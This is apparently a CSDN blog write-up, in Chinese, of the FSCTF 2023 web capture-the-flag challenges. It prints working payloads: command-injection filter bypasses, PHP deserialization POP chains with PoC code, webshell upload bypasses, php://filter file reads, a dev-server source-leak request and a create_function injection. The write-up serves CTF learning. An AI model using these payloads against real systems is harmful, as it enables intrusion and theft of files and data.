FSCTF 2023——Web方向WP

练习平台:NSSCTF | 在线CTF平台

目录

源码!启动!

webshell是啥捏

细狗2.0 

EZ_eval

Hello,you

ez_php1 

巴巴托斯! 

 寻找蛛丝马迹

是兄弟,就来传你の🐎! 

ez_php2 

签到plus 

CanCanNeed 

加速加速 


源码!启动!

题目描述

原…!诶不对,源啥呀这是

右键被禁用,试试F12

也被禁用了,再试试ctrl+u

成功找到flag

webshell是啥捏

题目描述

签个到再走呗

根据题目可知,php中变量与变量之间用点号连接表示拼接;拼接结果为passthru函数

我们使用GET传参,构造payload

?👽=cat /f*

细狗2.0 

题目描述

行就是行,不行就是不行。RCE全不做是几个意思啊QAQ

先输入ls看一下

看来不太行,前面加上;试一下

发现有两个php,我们尝试用cat命令查看一下 ,尝试后构造出最终的payload

?hongzh0=%3Bca''t${IFS}/f*

总结一下, 本题过滤内容:

空格和cat、flag

EZ_eval

源码如下:

 正常的get传参,最终构造出的payload

?word=<script%0Alanguage='php'>system('strings%09/fl*')</script>

总结:

问号过滤——<script>

空格过滤——%0a、%09、${IFS}等等

读取文件内容——strings/paste

php执行linux命令:
<?php system('ls');?>

Hello,you

题目描述

这道题目是一道非常简单的RCE,因为我看到了隔壁师傅出的那道RCE,所以这只是一个RCE,一道非常简单的RCE,这个RCE呢,不是难的RCE,但也不是太简单的RCE,因为这个RCE需要一些技巧和耐心才能解决。

首先尝试输入cat f*,显示非法操作

猜测cat可能被过滤了,ca''t f*试一下,有回显了

然后我们用;隔断一下,输入;ca''t f*(也可以使用tail、strings、paste、more等),得到flag

ez_php1 

题目描述

do you know point?

源码如下:

考察知识:典型的md5绕过,这里我们使用数组绕过

最终构造payload

?a[]=1&b[]=2

提示让我们输入FL_AG的值,通过源码可知这里需要使用POST传参

得到提示:!!!Congratulation!!L0vey0U.php,直接访问/L0vey0U.php

得到一个假的flag:flag{This_is_fake_flag},这是一个简单的反序列化,直接构造poc链子

<?php
$str="YES I love";
echo serialize($str);
?>

运行得到:

s:10:"YES I love";

构造payload,get传参

?str=s:10:"YES I love";

得到新的提示:P0int.php,访问/P0int.php

又是一个反序列化,构造poc链如下

<?php
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
} 
$c=new Clazz();
$c->a=&$c->b;
echo serialize($c);
?>

通过新的变量$c利用&把a函数引用给b函数 (&符号只能应用于变量,而不能应用于表达式。)

php是一种流行的编程语言,它支持传递参数的两种方式:值传递和引用传递。值传递是将一个变量的值复制给另一个变量,而引用传递是将一个变量的内存地址给另一个变量。

构造payload,post传参

data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

得到一串base加密字符:PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

base64解码后得到flag

巴巴托斯! 

题目描述

愿你困于无风之地,我将奏响高天之歌。

题目线索:I love FSCTF Browser,先用burp抓包看一下

改为User-Agent: FSCTF Browser

得到新的提示,需要本地访问

添加Referer:127.0.0.1

没有什么有用的回显信息,我们用伪协议读取:

php://filter/read=convert.base64-encode/resource=flag.php

 得到PD9waHANCiRmbGFnPSJOU1NDVEZ7YTU3NjA5N2EtZTM0OS00YTZjLWI1OTQtMTI4NDQwNTI1ZWJifSI7DQo/Pg==

base64解密后得到flag

 寻找蛛丝马迹

题目描述

睁大眼睛,保护视力

 

先查看一下源码(F12或者ctrl+u),得到flag第一段

 继续找,在css文件里发现flag第二段

再找,在js文件里发现flag第三段 

继续翻找,没啥发现了,决定目录扫描一下(dirsearch)

扫出robots.txt和www.zip ,先访问下robots.txt

出现一堆乱码,这时我们可以用火狐自带的修复文字编码来处理,得到flag第四段

看到苹果,可以想到.DS_store,得到flag第五段

下载www.zip ,得到flag第六段

是兄弟,就来传你の🐎! 

题目描述

你真的懂文件上传吗?

首先上传一个常规的php一句话木马,返回不允许(意料之中)!

经过多次尝试,得到最终的payload

访问上传路径,得到flag

总结

图片文件头:bmp文件 BM ;gif文件 GIF

php文件后缀黑名单绕过:pht, phpt, phtml, php3,php4,php5,php6

超短webshell ,读取根目录下的所有文件

<?=`nl /*`; 、<?=`cat /*`;、<?=`tac /*`;等等(注意这里是反引号)

ez_php2 

题目描述

简单的pop链

题目源码如下:

 <?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?> You are Silly goose!

又到了熟悉的代码审计环节,构造出pop链如下:

Ha __destruct()-> Rd __call()-> Er __set()

完整的poc:

<?php
Class Rd{
    public $ending;
    public $cl;
 
    public $poc;
 
}
 
class Er{
    public $symbol;
    public $Flag;
 
}
 
class Ha{
    public $start;
    public $start1;
    public $start2 = "11111";
}
 
$Ha_start_dic =  array(
    "POC" => "1111"
);
$Ha_start = array($Ha_start_dic);
$Ha_start1 = new Rd(); 
$Ha_start1_cl = new Er();
$Ha_start1_cl->Flag = "cat /flag";
$ha = new Ha();
$ha->start = $Ha_start_dic;
$ha->start1 = $Ha_start1;
$Ha_start1->cl = $Ha_start1_cl;

echo urlencode(serialize($ha));
?>

运行后得到:

O%3A2%3A%22Ha%22%3A3%3A%7Bs%3A5%3A%22start%22%3Ba%3A1%3A%7Bs%3A3%3A%22POC%22%3Bs%3A4%3A%221111%22%3B%7Ds%3A6%3A%22start1%22%3BO%3A2%3A%22Rd%22%3A3%3A%7Bs%3A6%3A%22ending%22%3BN%3Bs%3A2%3A%22cl%22%3BO%3A2%3A%22Er%22%3A2%3A%7Bs%3A6%3A%22symbol%22%3BN%3Bs%3A4%3A%22Flag%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A3%3A%22poc%22%3BN%3B%7Ds%3A6%3A%22start2%22%3Bs%3A5%3A%2211111%22%3B%7D

构造url ,得到flag

?Ha_rde_r=O%3A2%3A"Ha"%3A3%3A{s%3A5%3A"start"%3Ba%3A1%3A{s%3A3%3A"POC"%3Bs%3A4%3A"1111"%3B}s%3A6%3A"start1"%3BO%3A2%3A"Rd"%3A3%3A{s%3A6%3A"ending"%3BN%3Bs%3A2%3A"cl"%3BO%3A2%3A"Er"%3A2%3A{s%3A6%3A"symbol"%3BN%3Bs%3A4%3A"Flag"%3Bs%3A9%3A"cat+%2Fflag"%3B}s%3A3%3A"poc"%3BN%3B}s%3A6%3A"start2"%3Bs%3A5%3A"11111"%3B}

参考博客:[FSCTF 2023]ez_php2 WP-CSDN博客文章浏览阅读114次。传参请求,拿到flag。_[fsctf 2023]ez_php2https://blog.csdn.net/SmillPig/article/details/135052080

签到plus 

题目描述

harder在洗脚的时候服务器被黑客接管了,让你帮忙排查,你可以抢回来吗?

目录扫描一下,发现shell.php

访问/shell.php,在环境里面发现了一个假的flag

思考片刻,去搜了一下发现是“PHP<=7.4.21 Development Server源码泄露漏洞”

PHP<=7.4.21 Development Server源码泄露漏洞PHP<=7.4.21 Development Server源码泄露漏洞icon-default.png?t=N7T8https://buaq.net/go-147962.htmlpoc如下(burp):

GET /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:28528


GET /1 HTTP/1.1

使用burp在重放器选项中关闭自动更新content-length,将抓包内容导出来,得到

<?xml version="1.0"?>
<!DOCTYPE items [
<!ELEMENT items (item*)>
<!ATTLIST items burpVersion CDATA "">
<!ATTLIST items exportTime CDATA "">
<!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT url (#PCDATA)>
<!ELEMENT host (#PCDATA)>
<!ATTLIST host ip CDATA "">
<!ELEMENT port (#PCDATA)>
<!ELEMENT protocol (#PCDATA)>
<!ELEMENT method (#PCDATA)>
<!ELEMENT path (#PCDATA)>
<!ELEMENT extension (#PCDATA)>
<!ELEMENT request (#PCDATA)>
<!ATTLIST request base64 (true|false) "false">
<!ELEMENT status (#PCDATA)>
<!ELEMENT responselength (#PCDATA)>
<!ELEMENT mimetype (#PCDATA)>
<!ELEMENT response (#PCDATA)>
<!ATTLIST response base64 (true|false) "false">
<!ELEMENT comment (#PCDATA)>
]>
<items burpVersion="2021.9.1" exportTime="Fri Mar 22 17:39:18 CST 2024">
  <item>
    <time>Thu Jan 01 08:00:00 CST 1970</time>
    <url><![CDATA[http://node4.anna.nssctf.cn:28358/shell.php]]></url>
    <host ip="1.14.71.254">node4.anna.nssctf.cn</host>
    <port>28358</port>
    <protocol>http</protocol>
    <method><![CDATA[GET]]></method>
    <path><![CDATA[/shell.php]]></path>
    <extension>php</extension>
    <request base64="true"><![CDATA[R0VUIC9zaGVsbC5waHAgSFRUUC8xLjENCkhvc3Q6IG5vZGU0LmFubmEubnNzY3RmLmNuOjI4NTI4DQoNCg0KR0VUIC8xIEhUVFAvMS4xDQoNCg==]]></request>
    <status>200</status>
    <responselength>573</responselength>
    <mimetype></mimetype>
    <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpIb3N0OiBub2RlNC5hbm5hLm5zc2N0Zi5jbjoyODUyOA0KRGF0ZTogRnJpLCAyMiBNYXIgMjAyNCAwOTozODozNCBHTVQNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LUxlbmd0aDogNDQzDQoNCjw/cGhwCnBocGluZm8oKTsKJPCfmIA9ImEiOwok8J+YgT0iYiI7CiTwn5iCPSJjIjsKJPCfpKM9ImQiOwok8J+Ygz0iZSI7CiTwn5iEPSJmIjsKJPCfmIU9ImciOwok8J+Yhj0iaCI7CiTwn5iJPSJpIjsKJPCfmIo9ImoiOwok8J+Yiz0iayI7CiTwn5iOPSJsIjsKJPCfmI09Im0iOwok8J+YmD0ibiI7CiTwn5iXPSJvIjsKJPCfmJk9InAiOwok8J+Ymj0icSI7CiTwn5mCPSJyIjsKJPCfpJc9InMiOwok8J+kqT0idCI7CiTwn6SUPSJ1IjsKJPCfpKg9InYiOwok8J+YkD0idyI7CiTwn5iRPSJ4IjsKJPCfmLY9InkiOwok8J+ZhD0ieiI7Cgok8J+YrSA9ICTwn5iZLiAk8J+YgC4gJPCfpJcuICTwn6SXLiAk8J+kqS4gJPCfmIYuICTwn5mCLiAk8J+klDsKCmlmIChpc3NldCgkX0dFVFsn8J+RvfCfppAnXSkpIHsKICAgIGV2YWwoJPCfmK0oJF9HRVRbJ/Cfkb3wn6aQJ10pKTsKfTsKCj8+]]></response>
    <comment></comment>
  </item>
</items>

对response密文解密得到

HTTP/1.1 200 OK
Host: node4.anna.nssctf.cn:28528
Date: Fri, 22 Mar 2024 09:38:34 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
    eval($😭($_GET['👽🦐']));
};

?>

构造payload(get传参)

?👽🦐=cat /f*

 

FSCTF{ThIs_1s_wh@t_you_w@n7}

CanCanNeed 

题目描述

php虽然是世界上最好的语言,但是也提供了不少不安全函数~

源码如下:

审计代码发现我们需要使用create_function,system命令没被过滤,我们使用其执行命令。

poc如下:

<?php

class Noteasy
{
    protected $param1 = "create_function";
    protected $param2 = "};system(\$_POST[666]);//";

    function __destruct()
    {
        $a = $this->param1;
        $b = $this->param2;
        if (preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
            die('this param is error!');
        } else {
            $a('', $b);
        }
    }
}

$c = new Noteasy();
echo(base64_encode(serialize($c)));

构造payload,接下来POST传参 ,得到flag

 

加速加速 

考点:条件竞争

我没做过,可以参考:[FSCTF 2023]加速加速已解决-CSDN博客

 

 

  • 22
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值